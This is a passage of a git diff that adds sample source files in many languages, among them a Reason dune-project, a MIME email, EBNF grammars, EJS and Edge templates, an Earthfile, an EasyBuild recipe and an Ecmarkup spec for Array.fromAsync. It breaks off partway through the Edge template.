@@ -0,0 +1,63 @@
+(lang dune 2.9)
+
+(name reason)
+
+(using menhir 2.0)
+
+(cram enable)
+
+(version 3.8.2)
+
+(generate_opam_files true)
+
+(source
+ (github reasonml/reason))
+
+(authors "Jordan Walke <jordojw@gmail.com>")
+
+(maintainers
+ "Jordan Walke <jordojw@gmail.com>"
+ "Antonio Nuno Monteiro <anmonteiro@gmail.com>")
+
+(homepage "https://reasonml.github.io/")
+
+(bug_reports "https://github.com/reasonml/reason/issues")
+
+(license "MIT")
+
+(package
+ (name reason)
+ (synopsis "Reason: Syntax & Toolchain for OCaml")
+ (description
+  "Reason gives OCaml a new syntax that is remniscient of languages like\nJavaScript. It's also the umbrella project for a set of tools for the OCaml &\nJavaScript ecosystem.")
+ (depends
+  (ocaml
+   (and
+    (>= "4.03")
+    (< "5.2")))
+  (ocamlfind :build)
+  (dune-build-info
+   (>= 2.9.3))
+  (menhir
+   (>= "20180523"))
+  (merlin-extend
+   (>= "0.6"))
+  fix
+  ppx_derivers
+  (ppxlib
+   (>= "0.28.0"))))
+
+(package
+ (name rtop)
+ (synopsis "Reason toplevel")
+ (description
+  "rtop is the toplevel (or REPL) for Reason, based on utop (https://github.com/diml/utop).")
+ (depends
+  (ocaml
+   (and
+    (>= "4.03")
+    (< "5.2")))
+  (reason
+   (= :version))
+  (utop
+   (>= "2.0"))))
diff --git a/samples/E-mail/example.eml b/samples/E-mail/example.eml
new file mode 100644
index 0000000000..f47a09040a
--- /dev/null
+++ b/samples/E-mail/example.eml
@@ -0,0 +1,68 @@
+Return-Path: <nobody@example.org>
+To: Mario Zaizar <nobody@example.local>
+Subject: Testing Mario Zaizar' MIME E-mail composing and sending PHP class: HTML message
+From: nobody <nobody@example.org>
+Reply-To: nobody <nobody@example.org>
+Sender: nobody@example.org
+X-Mailer: http://www.phpclasses.org/mimemessage $Revision: 1.63 $ (mail)
+MIME-Version: 1.0
+Content-Type: multipart/mixed; boundary="652b8c4dcb00cdcdda1e16af36781caf"
+Message-ID: <20050430192829.0489.nobody@example.org>
+Date: Sat, 30 Apr 2005 19:28:29 -0300
+
+
+--69c1683a3ee16ef7cf16edd700694a2f
+Content-Type: text/plain; charset=ISO-8859-1
+Content-Transfer-Encoding: quoted-printable
+
+This is an HTML message. Please use an HTML capable mail program to read
+this message.
+
+--69c1683a3ee16ef7cf16edd700694a2f
+Content-Type: text/html; charset=ISO-8859-1
+Content-Transfer-Encoding: quoted-printable
+
+<html>
+<head>
+<title>Testing Mario Zaizar' MIME E-mail composing and sending PHP class: H=
+TML message</title>
+<style type=3D"text/css"><!--
+body { color: black ; font-family: arial, helvetica, sans-serif ; backgroun=
+d-color: #A3C5CC }
+A:link, A:visited, A:active { text-decoration: underline }
+--></style>
+</head>
+<body>
+</body>
+</html>
+--69c1683a3ee16ef7cf16edd700694a2f--
+
+--6a82fb459dcaacd40ab3404529e808dc
+Content-Type: image/gif; name="logo.gif"
+Content-Transfer-Encoding: base64
+Content-Disposition: inline; filename="logo.gif"
+Content-ID: <ae0357e57f04b8347f7621662cb63855.gif>
+
+R0lGODlhlgAjAPMJAAAAAAAA/y8vLz8/P19fX19f339/f4+Pj4+Pz7+/v///////////////////
+/////yH5BAEAAAkALAAAAACWACMAQwT+MMlJq7046827/2AoHYChGAChAkBylgKgKClFyEl6xDMg
+qLFBj3C5uXKplVAxIOxkA8BhdFCpDlMK1urMTrZWbAV8tVS5YsxtxmZHBVOSCcW9zaXyNhslVcto
+RBp5NQYxLAYGLi8oSwoJBlE+BiSNj5E/PDQsmy4pAJWQLAKJY5+hXhZ2dDYldFWtNSFPiXssXnZR
+k5+1pjpBiDMJUXG/Jo7DI4eKfMSmxsJ9GAUB1NXW19jZ2tvc3d7f4OHi2AgZN5vom1kk6F7s6u/p
+m3Ab7AOIiCxOyZuBIv8AOeTJIaYQjiR/kKTr5GQNE3pYSjCJ9mUXClRUsLxaZGciC0X+OlpoOuQo
+ZKdNJnIoKfnxRUQh6FLG0iLxIoYnJd0JEKISJyAQDodp3EUDC48oDnUY7HFI3wEDRjzycQJVZCQT
+Ol7NK+G0qgtkAcOKHUu2rNmzYTVqRMt2bB49bHompSchqg6HcGeANSMxr8sEa2y2HexnSEUTuWri
+SSbkYh7BgGVAnhB1b2REibESYaRoBgqIMYx59tFM9AvQffVG49P5NMZkMlHKhJPJb0knmSKZ6kSX
+JtbeF3Am7ocok6c7cM7pU5xcXiJJETUz16qPrzEfaFgZpvzn7h86YV5r/1mxXeAUMVyEIpnVUGpN
+RlG2ka9b3lP3pm2l6u7P+l/YLj3+RlEHbz1C0kRxSITQaAcilVBMEzmkkEQO8oSOBNg9SN+AX6hV
+z1pjgJiAhwCRsY8ZIp6xj1ruqCgeGeKNGEZwLnIwzTg45qjjjjz2GEA5hAUp5JBEFmnkkSCoWEcZ
+X8yohZNK1pFGPQS4hx0qNSLJlk9wCQORYu5QiMd7bUzGVyNlRiOHSlpuKdGEItHQ3HZ18beRRyws
+YSY/waDTiHf/tWlWUBAJiMJ1/Z0XXU7N0FnREpKM4NChCgbyRDq9XYpOplaKopN9NMkDnBbG+UMC
+QwLWIeaiglES6AjGARcPHCWoVAiatcTnGTABZoLPaPG1phccPv366mEvWEFSLnj+2QaonECwcJt/
+e1Zw3lJvVMmftBdVNQS3UngLCA85YHIQOy6JO9N4eZW7KJwtOUZmGwOMWqejwVW6RQzaikRHX3yI
+osKhDAq8wmnKSmdMwNidSOof9ZG2DoV0RfTVmLFtGmNk+CoZna0HQnPHS3AhRbIeDpqmR09E0bsu
+soeaw994z+rwQVInvqLenBftYjLOVphLFHhV9qsnez8AEUbQRgO737AxChjmyANxuEFHSGi7hFCV
+4jxLst2N8sRJYU+SHiAKjlmCgz2IffbLI5aaQR71hnkxq1ZfHSfKata6YDCJDMAQwY7wOgzhjxgj
+VFQnKB5uX4mr9qJ79pann+VcfcSzsSCd2mw5scqRRvlQ6TgcUelYhu75iPE4JejrsJOFQAG01277
+7bjnrvvuvPfu++/ABy887hfc6OPxyCevPDdAVoDA89BHL/301Fdv/fXYZ6/99tx3Pz0FEQAAOw==
+
+--6a82fb459dcaacd40ab3404529e808dc
diff --git a/samples/EBNF/grammar.ebnf b/samples/EBNF/grammar.ebnf
new file mode 100644
index 0000000000..bd2d2c3d9c
--- /dev/null
+++ b/samples/EBNF/grammar.ebnf
@@ -0,0 +1,24 @@
+(*
+  Source:  https://github.com/sunjay/lion
+  License: MIT
+*)
+
+Statement = ( NamedFunction | AnonymousFunction | Assignment | Expr ) , "\n" ;
+Expr = AnonymousFunction | Term | "(" , Expr , ")" ,
+    { AnonymousFunction | Term | "(" , Expr , ")" } ;
+
+Assignment = Symbol , "=" , Expr ;
+
+AnonymousFunction = "\" , FunctionRHS ;
+NamedFunction = Symbol , FunctionRHS ;
+
+FunctionRHS = FunctionParams , "=" , FunctionBody ;
+FunctionParams = FunctionParam , { FunctionParam } ;
+FunctionParam = Term ;
+FunctionBody = Expr ;
+
+Term = Symbol | Number | SingleWordString ;
+SingleWordString = '"' , Symbol , '"' ;
+(* Symbol is a collection of valid symbol characters, not defined here *)
+(* Number is a valid numeric literal *)
+
diff --git a/samples/EBNF/material.ebnf b/samples/EBNF/material.ebnf
new file mode 100644
index 0000000000..7e056d1eed
--- /dev/null
+++ b/samples/EBNF/material.ebnf
@@ -0,0 +1,40 @@
+(*
+  Source:  https://github.com/io7m/jsom0
+  License: ISC
+*)
+
+name =
+  "name" , string , ";" ;
+
+diffuse =
+  "diffuse" , real , real , real , ";" ;
+
+ambient =
+  "ambient" , real , real , real , ";" ;
+
+specular =
+  "specular" , real , real , real , real , ";" ;
+
+shininess =
+  "shininess" , real , ";" ;
+
+alpha =
+  "alpha" , real , ";" ;
+
+mapping =
+  "map_chrome" | "map_uv" ;
+
+texture =
+  "texture" , string , real , mapping , ";" ;
+
+material =
+  "material" , ";" ,
+    name ,
+    diffuse ,
+    ambient ,
+    specular ,
+    shininess ,
+    alpha ,
+    [ texture ] ,
+  "end" , ";" ;
+
diff --git a/samples/EBNF/object.ebnf b/samples/EBNF/object.ebnf
new file mode 100644
index 0000000000..5282e3fc68
--- /dev/null
+++ b/samples/EBNF/object.ebnf
@@ -0,0 +1,61 @@
+(*
+  Source:  https://github.com/io7m/jsom0
+  License: ISC
+*)
+
+vertex_p3n3_name =
+  "vertex_p3n3" ;
+
+vertex_p3n3t2_name =
+  "vertex_p3n3t2" ;
+
+vertex_type =
+  vertex_p3n3_name | vertex_p3n3t2_name ;
+
+vertex_position =
+  "position" , real , real , real , ";" ;
+
+vertex_normal =
+  "normal" , real , real , real , ";" ;
+
+vertex_uv =
+  "uv" , real , real , ";" ;
+
+vertex_p3n3 =
+  vertex_p3n3_name , vertex_position , vertex_normal , "end" , ";" ;
+
+vertex_p3n3t2 =
+  vertex_p3n3t2_name , vertex_position , vertex_normal , vertex_uv , "end" , ";" ;
+
+vertex =
+  vertex_p3n3 | vertex_p3n3t2 ;
+
+vertex_array =
+  "array" , positive , vertex_type , { vertex } , "end" , ";" ;
+
+vertices =
+  "vertices" , ";" , vertex_array , "end" , ";" ;
+
+triangle =
+  "triangle" , natural , natural , natural , ";" ;
+
+triangle_array =
+  "array" , positive, "triangle" , { triangle } , "end" , ";" ;
+
+triangles =
+  "triangles" , ";" , triangle_array , "end" , ";" ;
+
+name =
+  "name" , string , ";" ;
+
+material_name =
+  "material_name" , string , ";" ;
+
+object =
+  "object" , ";" ,
+    name ,
+    material_name ,
+    vertices ,
+    triangles ,
+  "end" , ";" ;
+
diff --git a/samples/EBNF/types.ebnf b/samples/EBNF/types.ebnf
new file mode 100644
index 0000000000..23006bbbaf
--- /dev/null
+++ b/samples/EBNF/types.ebnf
@@ -0,0 +1,20 @@
+(*
+  Source:  https://github.com/io7m/jsom0
+  License: ISC
+*)
+
+digit_without_zero =
+  "1" | "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9" ;
+
+digit =
+  "0" | digit_without_zero ;
+
+positive =
+  digit_without_zero , { digit } ;
+
+natural =
+  "0" | positive ;
+
+real =
+  [ "-" ] , digit , [ "." , { digit } ] ;
+
diff --git a/samples/EJS/admin_index.jst b/samples/EJS/admin_index.jst
new file mode 100644
index 0000000000..d635afe9b4
--- /dev/null
+++ b/samples/EJS/admin_index.jst
@@ -0,0 +1,95 @@
+<!DOCTYPE html>
+<html>
+<head>
+	{{#def.admin_head}}
+</head>
+<body>
+<div class="page-wrap">
+	{{#def.admin_header}}
+	<div class="container">
+		<div class="max-width-4 mx-auto">
+			<div class="clearfix mxn1">
+				<div class="sm-col sm-col-12 px1 my2">
+					<div class="table">
+						<!-- table header -->
+						<div class="clearfix table-row header">
+							<div class="sm-col sm-col-6 cell">Title</div>
+							<div class="sm-col sm-col-2 cell">Author</div>
+							<div class="sm-col sm-col-2 cell">Date</div>
+							<div class="sm-col sm-col-2 cell">Last Update</div>
+						</div>
+						<!-- rows -->
+						{{var fecha =  require('fecha');}}
+						{{~it.posts :post:index}}
+						<div class="clearfix table-row">
+							<div class="sm-col cell" style="width: 48%;"><a href="/admin/post/{{=post._id}}">{{=post.title}}</a></div>
+							<div class="sm-col" style="width: 2%; padding-top: 1em;"><a href="/{{=fecha.format(post.created_on, 'url')}}/{{=post.slug}}"><i class="material-icons">launch</i></a></div>
+							<div class="sm-col sm-col-2 cell">{{=post.author.fullName}}</div>
+							<div class="sm-col sm-col-2 cell">{{=fecha.format(post.created_on, 'regular')}}</div>
+							<div class="sm-col sm-col-2 cell">{{=fecha.format(post.last_update, 'regular')}}</div>
+						</div>
+						{{~}}
+					</div>
+				</div>
+			</div>
+		</div>
+
+		<div class="max-width-4 mx-auto">
+			<div class="clearfix mxn1">
+				<div class="sm-col sm-col-12 md-col-6 px1">
+					<div class="table">
+						<!-- table header -->
+						<div class="clearfix table-row header">
+							<div class="sm-col sm-col-12 cell center" style="padding-left: 0;">Site Settings</div>
+						</div>
+						<!-- rows -->
+						<div class="clearfix table-row">
+							<div class="sm-col sm-col-6 cell">Active template</div>
+							<div class="sm-col sm-col-6 cell">{{=it.site.template}}</div>
+						</div>
+						<div class="clearfix table-row">
+							<div class="sm-col sm-col-6 cell">Site Name</div>
+							<div class="sm-col sm-col-6 cell">{{=it.site.name}}</div>
+						</div>
+						<div class="clearfix table-row">
+							<div class="sm-col sm-col-6 cell">URL</div>
+							<div class="sm-col sm-col-6 cell">{{=it.site.url}}</div>
+						</div>
+						<div class="clearfix table-row">
+							<div class="sm-col sm-col-6 cell">Description</div>
+							<div class="sm-col sm-col-6 cell">{{=it.site.description}}</div>
+						</div>
+						<div class="clearfix table-row">
+							<div class="sm-col sm-col-6 cell">Keywords</div>
+							<div class="sm-col sm-col-6 cell">{{=it.site.keywords}}</div>
+						</div>
+						<div class="clearfix table-row">
+							<div class="sm-col sm-col-6 cell">Google Analytics UID</div>
+							<div class="sm-col sm-col-6 cell">{{=it.site.gaUID}}</div>
+						</div>
+					
+					</div>
+				</div>
+				<div class="sm-col sm-col-12 md-col-6 px1">
+					<div class="table">
+						<!-- table header -->
+						<div class="clearfix table-row header">
+							<div class="sm-col sm-col-12 cell center" style="padding-left: 0;">Tag</div>
+						</div>
+						<!-- rows -->
+						<div class="clearfix table-row">
+							<div class="sm-col sm-col-12 cell"></div>
+						</div>
+					
+					</div>
+				</div>
+			</div>
+		</div>
+	</div>
+	
+</div>
+	{{#def.footer}}
+	<script type="text/javascript" src="/assets/lib/prism.js"></script>
+	<script type="text/javascript" src="/assets/lib/alertify.min.js"></script>
+</body>
+</html>
diff --git a/samples/EJS/email_template.ect b/samples/EJS/email_template.ect
new file mode 100644
index 0000000000..4c97143751
--- /dev/null
+++ b/samples/EJS/email_template.ect
@@ -0,0 +1,95 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <% include 'layout/header_assets.ect' %>
+  <link rel="stylesheet" href="/css/layout.css">
+  <link rel="stylesheet" href="/css/parts.css">
+</head>
+<body>
+  <% include 'layout/header.ect' %>
+  <section class="body">
+    <% include 'layout/sidebar.ect' %>
+    <section class="main-content">
+      <div class="content-wrap">
+
+        <div class="content-header">
+          <div class="row content-header--title-bar-one">
+            <div class="col-xs-6">
+              <h1><a href="#">レイアウトタイプ</a>: Confirm</h1>
+            </div>
+            <div class="col-xs-4">
+              <div style="line-height:30px;">最終更新日: 15-04-28 14:29</div>
+            </div>
+            <div class="col-xs-2" style="text-align: right;">
+              <button class="btn btn-warning btn-sm">保存</button>
+            </div>
+          </div>
+        </div>
+        <div class="content-main full-height">
+          <form class="form-horizontal js-template-editor full-height">
+            <div class="row form-group">
+              <div class="col-sm-6">
+                <input class="form-control" required="required" type="text" value="" name="email_template[subject]" placeholder="件名: confirm: {{#order}}{{number}}{{/order}}">
+              </div>
+              <div class="col-sm-6">
+                <button type="button" class="btn btn-default">プレビュー</button>
+                <button type="button" class="btn btn-default pull-right" data-toggle="modal" data-target="#myModal">サンプルデータ編集</button>
+              </div>
+            </div>
+            <div class="row form-group">
+              <div class="col-sm-6">
+                <input class="form-control" required="required" type="text" placeholder="From: xxx@example.com" name="email_template[subject]">
+              </div>
+              <div class="col-sm-6 full-height">
+                <div class="btn-group" role="group" aria-label="...">
+                  <button type="button" class="btn btn-default">HTML</button>
+                  <button type="button" class="btn btn-default">TEXT</button>
+                </div>
+              </div>
+            </div>
+            <div class="row full-height">
+              <div class="col-sm-12 full-height">
+                <div class="full-height">
+                  <textarea class="form-control" required="required" rows="22" data-template="html" name="email_template[html]" id="email_template_html">
+{{#order}}
+  Hi {{email}}<br/>
+  Order: {{number}}<br/>
+  Thank you for your order.<br/>
+  <br/>
+  {{#line_items}}{{name}}: {{display_price}} x {{quantity}} = {{display_amount}}{{/line_items}}<br/>
+  -----------------------<br/>
+  Total: {{display_total}}
+{{/order}}
+  </textarea>
+                </div>
+              </div>
+            </div>
+
+            <div class="modal fade" id="myModal">
+              <div class="modal-dialog">
+                <div class="modal-content">
+                  <div class="modal-header">
+                    <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
+                    <h4 class="modal-title">Modal title</h4>
+                  </div>
+                  <div class="modal-body js-template-sample-data" data-layout-type="confirm" data-class-name="EmailTemplate">
+                    <textarea style="height: 200px; width: 100%;"></textarea>
+                  </div>
+                  <div class="modal-footer">
+                    <button class="btn btn-default js-reset-btn" href="#">リセット</button>
+                    <button class="btn btn-default js-update-btn" href="#"><span class="translation_missing" title="translation missing: ja.update">Update</span></button>
+                  </div>
+                </div><!-- /.modal-content -->
+              </div><!-- /.modal-dialog -->
+            </div><!-- /.modal -->
+
+
+          </form>
+        </div>
+
+      </div>
+    </section>
+  </section>
+</body>
+</html>
+
diff --git a/samples/EJS/modules.ejs.t b/samples/EJS/modules.ejs.t
new file mode 100644
index 0000000000..e1c9aff3d9
--- /dev/null
+++ b/samples/EJS/modules.ejs.t
@@ -0,0 +1,21 @@
+<% 
+const moduleImports = [];
+modules.forEach(mod => { %>
+import * as <%- mod.saveName %> from '@<%- mod.packageName %>/<%- mod.name %>';
+<% });
+%>
+export const modulePackages = [
+<%- modules.map(x => {
+return `  {
+    moduleName: "${x.name}",
+    module: ${x.saveName},
+    isEntry: ${x.isEntry},
+    isLibraryOnly: ${x.isLibraryOnly},
+    parentGahModule: ${x.parentGahModule ? "\"" + x.parentGahModule + "\"" : null}
+  }`;
+  }).join(',\n') %>
+];
+
+export const gahModules = [
+<%- modules.filter(x => !x.isLibraryOnly).map(x => '  ' + x.saveName + '.' + x.baseModuleName + x.staticModuleInit).join(',\n') %>
+];
diff --git a/samples/Earthly/filenames/Earthfile b/samples/Earthly/filenames/Earthfile
new file mode 100644
index 0000000000..06b86cee1b
--- /dev/null
+++ b/samples/Earthly/filenames/Earthfile
@@ -0,0 +1,21 @@
+FROM openjdk:8-jdk-alpine
+RUN apk add --update --no-cache gradle
+WORKDIR /java-example
+
+deps:
+    COPY build.gradle ./
+    RUN gradle build
+
+build:
+    FROM +deps
+    COPY src src
+    RUN gradle build
+    RUN gradle install
+    SAVE ARTIFACT build/install/java-example/bin AS LOCAL build/bin
+    SAVE ARTIFACT build/install/java-example/lib AS LOCAL build/lib
+
+docker:
+    COPY +build/bin bin
+    COPY +build/lib lib
+    ENTRYPOINT ["/java-example/bin/java-example"]
+    SAVE IMAGE --push earthly/examples:java
diff --git a/samples/Easybuild/bzip2-1.0.6-GCC-4.9.2.eb b/samples/Easybuild/bzip2-1.0.6-GCC-4.9.2.eb
new file mode 100644
index 0000000000..76835e1db3
--- /dev/null
+++ b/samples/Easybuild/bzip2-1.0.6-GCC-4.9.2.eb
@@ -0,0 +1,20 @@
+# not really (there's an EB_bzip2 easyblock), but fine for use in unit tests
+easyblock = 'ConfigureMake'
+
+name = 'bzip2'
+version = '1.0.6'
+
+homepage = 'http://www.bzip.org/'
+description = """bzip2 is a freely available, patent free, high-quality data compressor. It typically
+compresses files to within 10% to 15% of the best available techniques (the PPM family of statistical
+compressors), whilst being around twice as fast at compression and six times faster at decompression."""
+
+toolchain = {'name': 'GCC', 'version': '4.9.2'}
+toolchainopts = {'pic': True}
+
+sources = [SOURCE_TAR_GZ]
+source_urls = ['http://www.bzip.org/%(version)s']
+
+builddependencies = [('gzip', '1.6')]
+
+moduleclass = 'tools'
diff --git a/samples/Ecmarkup/spec.html b/samples/Ecmarkup/spec.html
new file mode 100644
index 0000000000..905a851bb8
--- /dev/null
+++ b/samples/Ecmarkup/spec.html
@@ -0,0 +1,185 @@
+<pre class=metadata>
+title: ES Array.fromAsync (2022)
+status: proposal
+stage: 1
+location: https://github.com/js-choi/proposal-array-async-from
+copyright: false
+contributors: J. S. Choi
+</pre>
+<script src=ecmarkup.js defer></script>
+<link rel=stylesheet href=ecmarkup.css>
+
+<emu-intro id=introduction>
+  <h1>Introduction</h1>
+  <p>This is the formal specification for a proposed `Array.fromAsync` factory method
+  in JavaScript. It modifies the original <a
+  href=https://tc39.github.io/ecma262/>ECMAScript specification</a> with
+  several new or revised clauses. See <a
+  href=https://github.com/js-choi/proposal-array-async-from/blob/main/README.md>the proposal's
+  explainer</a> for the proposal's background, motivation, and usage examples.</p>
+</emu-intro>
+
+<emu-clause id="sec-control-abstraction-objects">
+  <h1>Control Abstraction Objects</h1>
+
+  <emu-clause id="sec-iteration">
+    <h1>Iteration</h1>
+
+    <emu-clause id="sec-iterator-abstract-operations">
+      <h1>Iterator Abstract Operations</h1>
+
+      <emu-clause id="sec-ifabruptcloseasynciterator">
+        <h1>IfAbruptCloseAsyncIterator ( _value_, _iteratorRecord_ )</h1>
+        <p><dfn>IfAbruptCloseAsyncIterator</dfn> is a shorthand for a sequence of algorithm steps that use an Iterator Record. An algorithm step of the form:</p>
+        <emu-alg>
+          1. IfAbruptCloseAsyncIterator(_value_, _iteratorRecord_).
+        </emu-alg>
+        <p>means the same thing as:</p>
+        <emu-alg>
+          1. If _value_ is an abrupt completion, then
+            1. Perform ? AsyncIteratorClose(_iteratorRecord_, _value_).
+            1. Return _value_.
+          1. Else if _value_ is a Completion Record, set _value_ to _value_.[[Value]].
+        </emu-alg>
+      </emu-clause>
+    </emu-clause>
+  </emu-clause>
+
+  <emu-clause id="sec-async-function-objects">
+    <h1>AsyncFunction Objects</h1>
+    <emu-clause id="sec-async-functions-abstract-operations">
+      <h1>Async Functions Abstract Operations</h1>
+      <emu-clause id="sec-asyncblockstart" type="abstract operation">
+        <h1>
+          AsyncBlockStart (
+            _promiseCapability_: a PromiseCapability Record,
+            _asyncBody_: a Parse Node <ins>or an Abstract Closure with no parameters</ins>,
+            _asyncContext_: an execution context,
+          )
+        </h1>
+        <dl class="header">
+        </dl>
+        <emu-alg>
+          1. Assert: _promiseCapability_ is a PromiseCapability Record.
+          1. Let _runningContext_ be the running execution context.
+          1. [fence-effects="user-code"] Set the code evaluation state of _asyncContext_ such that when evaluation is resumed for that execution context the following steps will be performed:
+            1. <ins> If _asyncBody_ is a Parse Node, then</ins>
+              1. <ins> Let _result_ be the result of evaluating _asyncBody_.</ins>
+            1. <ins> Else, </ins>
+              1. <ins> Assert: _asyncBody_ is an Abstract Closure with no parameters.</ins>
+              1. <ins> Let _result_ be _asyncBody_().</ins>
+            1. <del>Let _result_ be the result of evaluating _asyncBody_. </del>
+            1. Assert: If we return here, the async function either threw an exception or performed an implicit or explicit return; all awaiting is done.
+            1. Remove _asyncContext_ from the execution context stack and restore the execution context that is at the top of the execution context stack as the running execution context.
+            1. If _result_.[[Type]] is ~normal~, then
+              1. Perform ! Call(_promiseCapability_.[[Resolve]], *undefined*, &laquo; *undefined* &raquo;).
+            1. Else if _result_.[[Type]] is ~return~, then
+              1. Perform ! Call(_promiseCapability_.[[Resolve]], *undefined*, &laquo; _result_.[[Value]] &raquo;).
+            1. Else,
+              1. Assert: _result_.[[Type]] is ~throw~.
+              1. Perform ! Call(_promiseCapability_.[[Reject]], *undefined*, &laquo; _result_.[[Value]] &raquo;).
+            1. [id="step-asyncblockstart-return-undefined"] Return.
+          1. Push _asyncContext_ onto the execution context stack; _asyncContext_ is now the running execution context.
+          1. <emu-meta effects="user-code">Resume the suspended evaluation of _asyncContext_</emu-meta>. Let _result_ be the value returned by the resumed computation.
+          1. Assert: When we return here, _asyncContext_ has already been removed from the execution context stack and _runningContext_ is the currently running execution context.
+          1. Assert: _result_ is a normal completion with a value of *undefined*. The possible sources of completion values are Await or, if the async function doesn't await anything, step <emu-xref href="#step-asyncblockstart-return-undefined"></emu-xref> above.
+          1. Return.
+        </emu-alg>
+      </emu-clause>
+    </emu-clause>
+  </emu-clause>
+</emu-clause>
+
+<emu-clause id="sec-indexed-collections">
+  <h1>Indexed Collections</h1>
+
+  <emu-clause id="sec-array-objects">
+    <h1>Array Objects</h1>
+
+    <emu-clause id="sec-properties-of-the-array-constructor">
+      <h1>Properties of the Array Constructor</h1>
+
+      <emu-clause id="sec-array.fromAsync">
+        <h1><ins>Array.fromAsync ( _asyncItems_ [ , _mapfn_ [ , _thisArg_ ] ] )</ins></h1>
+
+        <emu-note type=editor>
+          <p>This section is a wholly new subsection of the <a
+          href=https://tc39.es/ecma262/#sec-properties-of-the-array-constructor>original
+          Properties of the Array Constructor clause</a>, to be inserted before the <a
+          href=https://tc39.es/ecma262/#sec-properties-of-the-array-constructor>Array.from
+          clause</a>.</p>
+        </emu-note>
+
+        <p>When the `fromAsync` method is called, the following steps are taken:</p>
+        <emu-alg>
+          1. Let _C_ be the *this* value.
+          1. Let _promiseCapability_ be ! NewPromiseCapability(%Promise%).
+          1. Let _fromAsyncClosure_ be a new Abstract Closure with no parameters that captures _C_, _mapfn_, and _thisArg_ and performs the following steps when called:
+            1. If _mapfn_ is *undefined*, let _mapping_ be *false*.
+            1. Else,
+              1. If IsCallable(_mapfn_) is *false*, throw a *TypeError* exception.
+              1. Let _mapping_ be *true*.
+            1. Let _usingAsyncIterator_ be ? GetMethod(_asyncItems_, @@asyncIterator).
+            1. If _usingAsyncIterator_ is *undefined*, then
+              1. Let _usingSyncIterator_ be ? GetMethod(_asyncItems_, @@iterator).
+            1. If IsConstructor(_C_) is *true*, then
+              1. Let _A_ be ? Construct(_C_).
+            1. Else,
+              1. Let _A_ be ! ArrayCreate(0).
+            1. Let _iteratorRecord_ be *undefined*.
+            1. If _usingAsyncIterator_ is not *undefined*, then
+              1. Set _iteratorRecord_ to ? GetIterator(_asyncItems_, ~async~, _usingAsyncIterator_).
+            1. Else if _usingSyncIterator_ is not *undefined*, then
+              1. Set _iteratorRecord_ to ? CreateAsyncFromSyncIterator(GetIterator(_asyncItems_, ~sync~, _usingSyncIterator_)).
+            1. If _iteratorRecord_ is not *undefined*, then
+              1. Let _k_ be 0.
+              1. Repeat,
+                1. If _k_ &ge; 2<sup>53</sup> - 1, then
+                  1. Let _error_ be ThrowCompletion(a newly created *TypeError* object).
+                  1. Return ? AsyncIteratorClose(_iteratorRecord_, _error_).
+                1. Let _Pk_ be ! ToString(𝔽(_k_)).
+                1. Let _next_ be ? Await(IteratorStep(_iteratorRecord_)).
+                1. If _next_ is *false*, then
+                  1. Perform ? Set(_A_, *"length"*, 𝔽(_k_), *true*).
+                  1. Return Completion Record { [[Type]]: ~return~, [[Value]]: _A_, [[Target]]: ~empty~ }.
+                1. Let _nextValue_ be ? IteratorValue(_next_).
+                1. If _mapping_ is *true*, then
+                  1. Let _mappedValue_ be Call(_mapfn_, _thisArg_, &laquo; _nextValue_, 𝔽(_k_) &raquo;).
+                  1. IfAbruptCloseAsyncIterator(_mappedValue_, _iteratorRecord_).
+                  1. Set _mappedValue_ to Await(_mappedValue_).
+                  1. IfAbruptCloseAsyncIterator(_mappedValue_, _iteratorRecord_).
+                1. Else, let _mappedValue_ be _nextValue_.
+                1. Let _defineStatus_ be CreateDataPropertyOrThrow(_A_, _Pk_, _mappedValue_).
+                1. If _defineStatus_ is an abrupt completion, return ? AsyncIteratorClose(_iteratorRecord_, _defineStatus_).
+                1. Set _k_ to _k_ + 1.
+            1. Else,
+              1. NOTE: _asyncItems_ is neither an AsyncIterable nor an Iterable so assume it is an array-like object.
+              1. Let _arrayLike_ be ! ToObject(_asyncItems_).
+              1. Let _len_ be ? LengthOfArrayLike(_arrayLike_).
+              1. If IsConstructor(_C_) is *true*, then
+                1. Let _A_ be ? Construct(_C_, &laquo; 𝔽(_len_) &raquo;).
+              1. Else,
+                1. Let _A_ be ? ArrayCreate(_len_).
+              1. Let _k_ be 0.
+              1. Repeat, while _k_ &lt; _len_,
+                1. Let _Pk_ be ! ToString(𝔽(_k_)).
+                1. Let _kValue_ be ? Get(_arrayLike_, _Pk_).
+                1. Let _kValue_ be ? Await(_kValue_).
+                1. If _mapping_ is *true*, then
+                  1. Let _mappedValue_ be ? Call(_mapfn_, _thisArg_, &laquo; _kValue_, 𝔽(_k_) &raquo;).
+                  1. Let _mappedValue_ be ? Await(_mappedValue_).
+                1. Else, let _mappedValue_ be _kValue_.
+                1. Perform ? CreateDataPropertyOrThrow(_A_, _Pk_, _mappedValue_).
+                1. Set _k_ to _k_ + 1.
+              1. Perform ? Set(_A_, *"length"*, 𝔽(_len_), *true*).
+              1. Return Completion Record { [[Type]]: ~return~, [[Value]]: _A_, [[Target]]: ~empty~ }.
+          1. Perform AsyncFunctionStart(_promiseCapability_, _fromAsyncClosure_).
+          1. Return _promiseCapability_.[[Promise]].
+        </emu-alg>
+        <emu-note>
+          <p>The `fromAsync` function is an intentionally generic factory method; it does not require that its *this* value be the Array constructor. Therefore it can be transferred to or inherited by any other constructors that may be called with a single numeric argument.</p>
+        </emu-note>
+      </emu-clause>
+    </emu-clause>
+  </emu-clause>
+</emu-clause>
diff --git a/samples/Edge/pricing.edge b/samples/Edge/pricing.edge
new file mode 100644
index 0000000000..6ce2688814
--- /dev/null
+++ b/samples/Edge/pricing.edge
@@ -0,0 +1,139 @@
+@layout({
+  title: "Your Ultimate Resource for AdonisJS Lessons and Videos",
+  meta: {
+    url: '/pricing',
+    desc: `Take your AdonisJS skills to the next level with Adocasts. Our comprehensive video lessons cover everything from the basics to advanced topics. Join our community today and start learning!`,
+    asset: null,
+    index: true
+  }
+})
+  @slot('hero')
+    <div class="-mt-12">
+      @!pricing.home()
+    </div>
+  @endslot
+
+  @section()
+    <div class="flex flex-col justify-center items-center text-center mt-12">
+      <img class="w-auto max-w-full" src="/imgs/adocasts-plus-white-40.png" alt="Adocasts Plus" />
+      @!heading({
+        subtitle: 'Features & Perks',
+        class: 'text-center text-slate-base-100',
+      })
+    </div>
+
+    <div class="flex flex-wrap -mx-4 gap-y-8 mb-16">
+      @!pricing.feature.card({
+        icon: 'ph:lock-open-fill',
+        title: 'Unlock All Content',
+        text: 'Unlock access to all series, lessons, plus any and all other content we release'
+      })
+
